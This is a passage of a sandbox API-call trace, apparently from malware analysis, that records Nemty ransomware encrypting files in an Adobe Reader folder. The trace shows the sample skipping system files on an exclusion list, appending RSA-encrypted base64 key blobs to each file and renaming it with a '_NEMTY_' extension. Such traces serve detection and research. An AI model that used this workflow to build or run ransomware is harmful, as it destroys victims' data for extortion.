hHeap=0x4f90000) returned 1 [0193.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trash.gif", lpUsedDefaultChar=0x0) returned 9 [0193.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.879] Sleep (dwMilliseconds=0x5) [0193.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2736e690, dwHighDateTime=0x1d561e8)) [0193.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2736e690, dwHighDateTime=0x1d561e8)) [0193.890] GetLastError () returned 0x0 [0193.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.890] GetLastError () returned 0x0 [0193.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.891] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.891] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.891] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.891] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="DWYucy5sb8gTjPSJiRTMKJFoGnNvSrXCygF0SFmEGgOV/ksyD7e6RtQdRAJ+j97H\r\nuBo0Fsi2qXRBg+mOG9jANTMln2jGkdn2KbJNRnEhtzWzwaZhDlj404V5VPrI5Wun\r\naplnsaCFt3SLVbpHKLM/NfX7CVd6/oHuKDQsrjTgD22OoeENd3vbeQA5vNmrjBrd\r\nliHE01h2czYfFTB7809dDq8gZz4QewIy4I0L8zRU0kCK9t1pjEslQseWlCGdl5os\r\nJQvn2SJZf680yZVSqn3mCtsFfHUQ4v4RRnRn7z08bgbykJxpGjlSx7G8H5r7j9SW\r\nuyCY3HdFQhODC5elPHDCCA==\r\n", pcchString=0x653e91c) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.891] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1161) returned 1 [0193.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x480) returned 0x6340048 [0193.891] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.892] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x480, lpOverlapped=0x0) returned 1 [0193.893] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.893] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x480, lpOverlapped=0x0) returned 1 [0193.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.893] SetFilePointer (in: hFile=0x254, lDistanceToMove=1161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x489 [0193.893] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.893] CloseHandle (hObject=0x254) returned 1 [0193.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.894] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif._nemty_kgobjgd_")) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.894] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1 [0193.894] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2=".") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="..") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="...") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="windows") returned -1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="rsa") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="NTDETECT.COM") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="ntldr") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="MSDOS.SYS") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="IO.SYS") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="boot.ini") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="boot.ini") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="ntuser.dat") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="desktop.ini") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="CONFIG.SYS") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="RECYCLER") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="bootmgr") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="programdata") returned 1 [0193.895] lstrcmpiW (lpString1="turnOffNotificationInAcrobat.gif", lpString2="appdata") returned 1 [0193.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94288 [0193.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 32 [0193.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f942e0 [0193.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 32 [0193.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0193.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94288 [0193.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 32 [0193.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94288 [0193.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOffNotificationInAcrobat.gif", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOffNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 32 [0193.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94288 [0193.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94350 [0193.896] Sleep (dwMilliseconds=0x5) [0193.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273947f0, dwHighDateTime=0x1d561e8)) [0193.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273947f0, dwHighDateTime=0x1d561e8)) [0193.906] GetLastError () returned 0x0 [0193.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.906] GetLastError () returned 0x0 [0193.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.906] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.907] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="AkrfFZd72tQ3sjsiTE5ZKuA96gfn4O/uZomb/V/0Ci+yKcHi61acNC2WxaRA3q4Y\r\n+l/JwE7W6QCrNK+3XEL/owYTPnS/jwp9vFKF9for+39YYo0tdBb1zORJ4GBs3ord\r\nWD8uuXZfaaMv5k4+8VGVf+OgF9z+fqQ8fUwe18WoXNuacs3JRcciFfTfTCdOLhml\r\nTY7iIczBlgR1VRx+/4Ms93jLyV86K0a6w3FpsGlT1jJ1AJlZAPOUfEy0OAdQymQy\r\n4fWbp/8GLg3AK5QPjJmuMhtW1kogxEJh1W5fIMEdtvHPkQjC1vLeMwmiKnSwajpF\r\nfaPXYDieMPmX7nZT9hW1FQ==\r\n", pcchString=0x653e91c) returned 1 [0193.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.907] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=824) returned 1 [0193.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x330) returned 0x6340048 [0193.907] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.907] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x330, lpOverlapped=0x0) returned 1 [0193.909] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.909] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x330, lpOverlapped=0x0) returned 1 [0193.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.909] SetFilePointer (in: hFile=0x254, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0193.909] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.909] CloseHandle (hObject=0x254) returned 1 [0193.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0193.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0193.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401d8 [0193.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0193.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.909] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOffNotificationInAcrobat.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnoffnotificationinacrobat.gif._nemty_kgobjgd_")) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.910] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1 [0193.910] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2=".") returned 1 [0193.910] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="..") returned 1 [0193.910] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="...") returned 1 [0193.910] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="windows") returned -1 [0193.910] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.910] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="rsa") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="NTDETECT.COM") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="ntldr") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="MSDOS.SYS") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="IO.SYS") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="boot.ini") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="boot.ini") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="ntuser.dat") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="desktop.ini") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="CONFIG.SYS") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="RECYCLER") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="bootmgr") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="programdata") returned 1 [0193.911] lstrcmpiW (lpString1="turnOffNotificationInTray.gif", lpString2="appdata") returned 1 [0193.911] RtlAllocateHeap 